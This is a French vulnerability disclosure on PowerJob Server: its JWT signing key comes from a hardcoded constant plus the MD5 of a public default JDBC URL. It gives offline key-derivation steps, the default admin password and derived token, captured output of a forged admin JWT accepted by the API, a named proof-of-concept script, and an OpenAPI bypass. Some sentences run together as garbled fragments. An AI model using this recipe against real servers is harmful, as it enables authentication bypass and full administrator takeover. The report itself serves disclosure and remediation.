
Démontre une vulnérabilité critique de prédictibilité de la clé de signature JWT dans PowerJob Server, permettant la dérivation hors ligne de la clé et la contrefaçon de jetons pour la prise de contrôle administrateur et le contournement de l'authentification OpenAPI.
La clé de signature JWT (HS256) du serveur PowerJob est dérivée en décodant en BASE64 une constante codée en dur concaténée avec le MD5 de l'URL JDBC par défaut (DefaultSecretProvider / JwtServiceImpl). L'URL JDBC est publique dans le déploiement par défaut (docker-compose / application-daily.properties), donc un attaquant peut dériver la clé entièrement hors ligne et forger un JWT valide pour n'importe quel utilisateur (y compris l'administrateur) ; le jeton d'application OpenAPI peut également être forgé pour contourner l'authentification OpenAPI.
application-daily.properties expose en clairjdbc:mysql://powerjob-mysql:3306/powerjob-daily?...powerjob-server-auth/.../jwt/impl/DefaultSecretProvider.java:31-45 : return md5(environment.getProperty("spring.datasource.core.jdbc-url"));powerjob-server-auth/.../jwt/impl/JwtServiceImpl.java:44-102 : constante BASE_SECURITY codée en dur ; genSecretKey(secret) = Decoders.BASE64.decode(BASE_SECURITY.concat(secret)) → Keys.hmacShaKeyForusername/encryptedToken) dispose d'un contrôle secondaire pour les comptes PWJB (DigestUtils.rePassword(password, username)), mais :
appId/password/encryptType) peut être forgé directement pour contourner l'authentification (OpenApiSecurityServiceImpl:87-105) ;Environnement : serveur PowerJob local (127.0.0.1:7700, URL JDBC jdbc:mysql://127.0.0.1:3307/powerjob_daily?useUnicode=true&characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&allowMultiQueries=true). L'attaquant dérive tout hors ligne à partir d'informations publiques uniquement :
# ① Dériver encryptedToken (= rePassword(password, username)) ; calculable avec le mot de passe par défaut
rePassword("powerjob_admin", "ADMIN")
= ADMIN_b82a450701f6a71723fb99931fe35e18_b # identique octet par octet à user_info.token_login_verify_info de la base de données ✅
# ② Dériver la clé de signature HS256 = BASE64(BASE_SECURITY + MD5(JDBC_URL))
secret = BASE_SECURITY + md5(jdbc_url) # clé de 101 octets
# ③ Forger un JWT web ADMIN (revendications : username=PWJB_ADMIN, encryptedToken=résultat de ①, sub=PowerJob)
Résultat réel (le jeton forgé passe l'authentification) :
[*] /namespace/list sans jeton :
{"success":false,"data":null,"message":"PowerJobAuthException: UserNotLoggedIn","code":"-100"}
[*] /namespace/list JWT forgé :
{"success":true,"data":{"index":0,"pageSize":10,"totalPages":1,"totalItems":1,"data":[{"id":1,"code":"default_namespace","name":"default_namespace","dept":null,"tags":null,"extra":null,"status":1,"statusStr":"ENABLE","gmtCreate":"2026-08-07T13:07:32.000+00:00","gmtCreateStr":"2026-08-07 21:07:32","gmtModified":"2026-08-07T13:07:32.000+00:00","gmtModifiedStr":"2026-08-07 21:07:32","showName":"default_namespace(default_namespace)","token":"14e4ebff-9a79-4845-ac66-8b20c4dff2ee","componentUserRoleInfo":{"observer":[],"qa":[],"developer":[],"admin":[]},"creatorShowName":null,"modifierShowName":null}]},"message":null}
→ le jeton forgé s'authentifie en tant qu'administrateur et renvoie des données réelles (la référence est rejetée avec UserNotLoggedIn).
Points clés :
encryptedToken dérivé hors ligne correspond à la valeur stockée en base de données octet par octet (ADMIN_b82a450701f6a71723fb99931fe35e18_b).BASE_SECURITY + MD5 de l'URL JDBC par défaut publique → dérivable hors ligne sans aucune information d'identification.encryptedToken PWJB est recalculable hors ligne avec le mot de passe par défaut (powerjob_admin, constat PJ-02) → prise de contrôle totale de l'administrateur.encryptedToken, mais le chemin du jeton d'application OpenAPI (revendications appId/password/encryptType, OpenApiSecurityServiceImpl:87-105) peut toujours être forgé indépendamment pour contourner l'authentification OpenAPI.Même si le mot de passe par défaut est modifié, la vulnérabilité persiste par d'autres vecteurs d'attaque :
encryptedToken valide de n'importe quel utilisateur par d'autres moyens (par exemple, injection SQL, exposition de sauvegarde de base de données, fuite de journaux ou divulgation d'informations par d'autres points de terminaison) peut combiner ce jeton avec la clé de signature prédictible pour forger un JWT pour cet utilisateur spécifique.encryptedToken, car le jeton forgé contient désormais un encryptedToken légitime dérivé de l'enregistrement réel de la base de données.PoC : powerjob_jwt_key.py 192.168.49.128:7700


encryptedToken pour tous les comptes.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 Critique (combiné avec le mot de passe par défaut / OpenAPI)